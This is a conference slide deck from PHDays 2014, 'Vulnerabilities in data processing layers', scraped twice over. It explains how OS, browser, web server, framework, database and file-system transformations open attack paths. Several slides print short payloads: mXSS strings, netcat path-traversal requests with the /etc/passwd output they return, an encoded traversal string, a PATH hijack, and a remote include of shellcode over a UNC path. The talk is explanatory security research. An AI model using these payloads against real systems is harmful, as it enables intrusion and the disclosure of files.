Vulnerabilities in data processing
layers
Omar Ganiev
PHDays 2014
Moscow
whoami
• Beched (ahack.ru, @ahack_ru)
• Math student
• RDot.Org (CTF) team
• Penetration testing expert at IncSecurity
Intro
• Application’s behaviour is defined not only by
its code, but also by a plenty of external
factors such as environm...
Program? Turing machine!
Real program
• A lot of inputs
• User supplied input
• Operating system environment
• Hardware
• We‘ll talk about general ...
Web application interaction
Browser Web server Application
Web application interaction
Browser Web server Framework
Database
Application
Request processing layers
• Hardware
• Operating system
• Browser
• Network
• Web server
• Framework
• Application
• Datab...
Request processing layers
• In general case:
Hardware
OS
Client
Network
Server
Data processing
• Each layer has some inputs and outputs
• Each input and output is somehow processed,
normalized, filtere...
Input/output trust
• Which input can be trusted, and which one is
user-controlled?
• Which input is secret, and which one ...
Hardware layer
• Input from pseudo devices /dev/random ,
/dev/urandom in Linux is not always safe, see
http://www.blackhat...
Operating system layer
• int main() { system(“id”); }
• Safe? No! There’re no inputs in application,
but there’re inputs i...
Operating system layer
• External libraries provide another input point
• This results in such attacks as DLL injection
an...
Browser layer
• Browser makes a lot of transformations of the
data
• The purpose of transformation is standard
compliance ...
Browser layer
• XSS, UI redressing, URL spoofing, HTTP
response splitting, open redirects via the
single HTTP parameter – ...
Browser layer
• Mutated XSS (mXSS) is an attack on the output
• Browsers compile non-valid HTML pages into some
canonical ...
Browser layer
• All the checks and input validation are typically done
on the server side
• Hence, mXSS can bypass such ch...
Network layer
• TCP timestamps can reveal various
information (see Hardware layer)
• Network administrators often forget a...
Web server layer
• HTTP daemon should verify validity of the
packets
• Fields should meet RFC rules
• But can one assume t...
Web server layer
• Let’s discover Apache magic
$ echo a | nc localhost 80
• 400 error? Nope, the index page is loaded. Not...
Web server layer
• Often $_SERVER[‘REQUEST_URI’] is used in file inclusion,
can we perform a path traversal (not in QUERY_...
Web server layer
• Okay, let’s try:
$ echo 'GET /../../../../../etc/passwd' | nc
localhost 80
<!DOCTYPE HTML PUBLIC "-//IE...
Web server layer
• Here comes double-slash magic:
$ echo -e 'GET xassets/../../..//etc/passwd' | nc
localhost 80
root:x:0:...
Web server layer
• Similar constructions are often used in MVC projects
to parse the controller and action values. Example...
Web server layer
• Looks like secure, but what if someone
launches this on the Windows box with
Apache?
• The following pa...
Web server layer
• The Host header is also untrustworthy, since
the usage of $_SERVER[‘HTTP_HOST’] can lead
to logical vul...
Web server layer
• This was all about input. What about output?
• Web servers reveal current server time (Date
header), st...
Web server layer
• Also consider the following code:
function genid() {
mt_srand(time());
$h = fopen('entropy', 'r');
$fst...
Framework layer
• Do not always trust frameworks! Not every
method is secure, read the source code and
documentation
• Ins...
Framework layer
• Example of insecure data processing inside the
framework CakePHP:
http://www.securityfocus.com/archive/1...
Database layer
• DBMS store data in the fields with particular
format (VARCHAR, BLOB, TEXT, INT, etc)
• Each format has it...
Database layer
• PHP function addslashes can be bypassed:
http://shiflett.org/blog/2006/jan/addslashes-
versus-mysql-real-...
File system layer
• In PHP there’re a lot of weird file path
normalization algorithms
• FindFirstFile WinAPI method allows...
File system layer
• In old version of PHP:
/etc/passwd///[x4096]///.php = /etc/passwd ;
/etc/passwd///// = /etc/passwd
• O...
File system layer
• Allow_url_include and allow_url_fopen
bypass via UNC path:
include '//IP/path/shellcode.txt';
• Securi...
Outro
• Interaction with program goes through
different layers, and each layer has its own
parameters and data processing ...
Thanks for attention!
Questions?
admin@ahack.ru
beched@incsecurity.ru
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Vulnerabilities on Various Data Processing Levels

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Vulnerabilities on Various Data Processing Levels

  1. 1. Vulnerabilities in data processing layers Omar Ganiev PHDays 2014 Moscow
  2. 2. whoami • Beched (ahack.ru, @ahack_ru) • Math student • RDot.Org (CTF) team • Penetration testing expert at IncSecurity
  3. 3. Intro • Application’s behaviour is defined not only by its code, but also by a plenty of external factors such as environment • We’ll try to dig into different layers of data processing and point out the potential dangers which are often ignored by developers
  4. 4. Program? Turing machine!
  5. 5. Real program • A lot of inputs • User supplied input • Operating system environment • Hardware • We‘ll talk about general situation and will pay specific attention to web applications
  6. 6. Web application interaction Browser Web server Application
  7. 7. Web application interaction Browser Web server Framework Database Application
  8. 8. Request processing layers • Hardware • Operating system • Browser • Network • Web server • Framework • Application • Database • File system
  9. 9. Request processing layers • In general case: Hardware OS Client Network Server
  10. 10. Data processing • Each layer has some inputs and outputs • Each input and output is somehow processed, normalized, filtered, etc • Developers often consider only the user inputs, which are explicitly defined in the code • Other problem is that often output contains sensitive information which is used as an input for some functions
  11. 11. Input/output trust • Which input can be trusted, and which one is user-controlled? • Which input is secret, and which one is contained in output? • This is not always clear • Let’s observe each abstract layer and look at input and output processing weaknesses
  12. 12. Hardware layer • Input from pseudo devices /dev/random , /dev/urandom in Linux is not always safe, see http://www.blackhat.com/presentations/bh- usa-06/BH-US-06-Gutterman.pdf • Speed of system clock quartz crystals depends on the temperature. This creates a side channel (clock skew) for attacking anonymity systems: http://www.cl.cam.ac.uk/~sjm217/papers/ccs0 6hotornot.pdf • Cryptanalysis via various physical side channels
  13. 13. Operating system layer • int main() { system(“id”); } • Safe? No! There’re no inputs in application, but there’re inputs in environment • PATH=.:$PATH • Put shellcode in ./id and run the executable • Real-world example: CVE-2013-1662, unsafe popen of lsb_release file in suid vmware- mount binary
  14. 14. Operating system layer • External libraries provide another input point • This results in such attacks as DLL injection and hooking • CreateRemoteThread, SetWindowsHookEx, etc in Windows • LD_PRELOAD in Linux
  15. 15. Browser layer • Browser makes a lot of transformations of the data • The purpose of transformation is standard compliance (like RFC, W3C) • The transformations are often done after input validation by web application • Breaking standards leads to various client-side attacks
  16. 16. Browser layer • XSS, UI redressing, URL spoofing, HTTP response splitting, open redirects via the single HTTP parameter – Request-path: https://rdot.org/forum/showthread.php?t=25 96 (by @black2fan) • Browsers incorrectly treat Location response header and inject malicious data into Request- path
  17. 17. Browser layer • Mutated XSS (mXSS) is an attack on the output • Browsers compile non-valid HTML pages into some canonical form • The transformations can be quite weird: https://cure53.de/fp170.pdf • More examples: <listing>&lt;img src=1 onerror=alert(1)&gt;</listing> <img src= alt=“onerror=alert(1);”> • Try at http://html5sec.org/innerhtml/
  18. 18. Browser layer • All the checks and input validation are typically done on the server side • Hence, mXSS can bypass such checks and WAF • Consider signature-based filter (for example, in CMS Bitrix) • We can encode bad words in the following mXSS payload for IE: <listing>&lt;img src=1 onerror=alert(1)&gt;</listing> • This is rendered into <img src=1 onerror=alert(1)> and bypasses WAF
  19. 19. Network layer • TCP timestamps can reveal various information (see Hardware layer) • Network administrators often forget about internal recursive DNS servers, which makes it possible to transfer data in DNS tunnel, bypassing firewalls
  20. 20. Web server layer • HTTP daemon should verify validity of the packets • Fields should meet RFC rules • But can one assume that this is the case and trust any HTTP header field? • No! Apache is a typical example of the software, which breaks the rules
  21. 21. Web server layer • Let’s discover Apache magic $ echo a | nc localhost 80 • 400 error? Nope, the index page is loaded. Note this: ["SERVER_PROTOCOL"]=> string(8) "HTTP/0.9" ["REQUEST_METHOD"]=> string(1) "a" ["QUERY_STRING"]=> string(0) "" ["REQUEST_URI"]=> string(0) ""
  22. 22. Web server layer • Often $_SERVER[‘REQUEST_URI’] is used in file inclusion, can we perform a path traversal (not in QUERY_STRING)? Example: <? $docroot = $_SERVER['DOCUMENT_ROOT']; $url = explode('?', $_SERVER['REQUEST_URI']); $path = substr($url[0], 1); $parts = explode('/', $path); if($parts[0] == 'assets') { readfile("$docroot/$path"); exit(); }
  23. 23. Web server layer • Okay, let’s try: $ echo 'GET /../../../../../etc/passwd' | nc localhost 80 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title>
  24. 24. Web server layer • Here comes double-slash magic: $ echo -e 'GET xassets/../../..//etc/passwd' | nc localhost 80 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh … • Clearly, this should not work, but it works. You should not trust the web server data processing!
  25. 25. Web server layer • Similar constructions are often used in MVC projects to parse the controller and action values. Example from the article in Xakep magazine (167): $piecesOfUrl = explode('/', $_SERVER['REQUEST_URI']); … $controllerName = $piecesOfUrl[1]; … include $fileWithControllerPath;
  26. 26. Web server layer • Looks like secure, but what if someone launches this on the Windows box with Apache? • The following payload will then include myfile.php: GET a/................myfile/..// • There’re lots of such code snippets on GitHub (vulnerable to file inclusion via REQUEST_URI, not necessarily under Windows)
  27. 27. Web server layer • The Host header is also untrustworthy, since the usage of $_SERVER[‘HTTP_HOST’] can lead to logical vulnerabilities • For instance, spoofing of the password restore link • See http://www.skeletonscribe.net/2013/05/pract ical-http-host-header-attacks.html
  28. 28. Web server layer • This was all about input. What about output? • Web servers reveal current server time (Date header), static files’ modification time (Last- Modified header) • This can be used to predict the PRNG seed in PHP (using also PHPSESSID cookie value): http://habrahabr.ru/company/pt/blog/149746/
  29. 29. Web server layer • Also consider the following code: function genid() { mt_srand(time()); $h = fopen('entropy', 'r'); $fstat = fstat($h); fclose($h); return md5(mt_rand() . $fstat[ 'atime' ] . $fstat[ 'mtime' ]); } • An id generated by such a function is insecure: an attacker can obtain mtime from Last-Modified header and atime -- by accessing ‘entropy’ file and reading Date header
  30. 30. Framework layer • Do not always trust frameworks! Not every method is secure, read the source code and documentation • Insecure Ruby on Rails methods: http://rails- sqli.org/ • Rather popular Yii class with a lot of find*() methods without SQL injection protection: https://github.com/yiisoft/yii/blob/master/fra mework/db/ar/CActiveRecord.php
  31. 31. Framework layer • Example of insecure data processing inside the framework CakePHP: http://www.securityfocus.com/archive/1/527974 /30/0/threaded • The data (PATH_INFO variable) is first validated and then decoded, thus it’s possible to bypass the check: /theme/Test1/%2e.//%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//% 2e./etc/passwd
  32. 32. Database layer • DBMS store data in the fields with particular format (VARCHAR, BLOB, TEXT, INT, etc) • Each format has its own limitations, thus, an input data is transformed – trimmed or truncated • SQL column truncation attack can lead to compromise of any user account in the system: INSERT INTO `users` VALUES (‘admin x’, ‘password’);
  33. 33. Database layer • PHP function addslashes can be bypassed: http://shiflett.org/blog/2006/jan/addslashes- versus-mysql-real-escape-string • This is due to charset transformations, when MySQL connection uses multi-byte charsets like BIG5 or GBK
  34. 34. File system layer • In PHP there’re a lot of weird file path normalization algorithms • FindFirstFile WinAPI method allows to pass wildcards instead of exact paths to include functions under Windows: https://rdot.org/forum/showthread.php?t=926 • For example, this will include C:boot.ini: include 'C:<oot"<<';
  35. 35. File system layer • In old version of PHP: /etc/passwd///[x4096]///.php = /etc/passwd ; /etc/passwd///// = /etc/passwd • Open_basedir bypass via glob wrapper: http://ahack.ru/bugs/php-vulnerabilities- exploits.htm • The path glob://… is first considered as relative and then is converted into URL
  36. 36. File system layer • Allow_url_include and allow_url_fopen bypass via UNC path: include '//IP/path/shellcode.txt'; • Security checks are performed before transformation into remote UNC path
  37. 37. Outro • Interaction with program goes through different layers, and each layer has its own parameters and data processing rules • The rule: first formatting, then validation • Each variable, which is not explicitly set in the code, should be treated as a potential source of malicious data
  38. 38. Thanks for attention! Questions? admin@ahack.ru beched@incsecurity.ru

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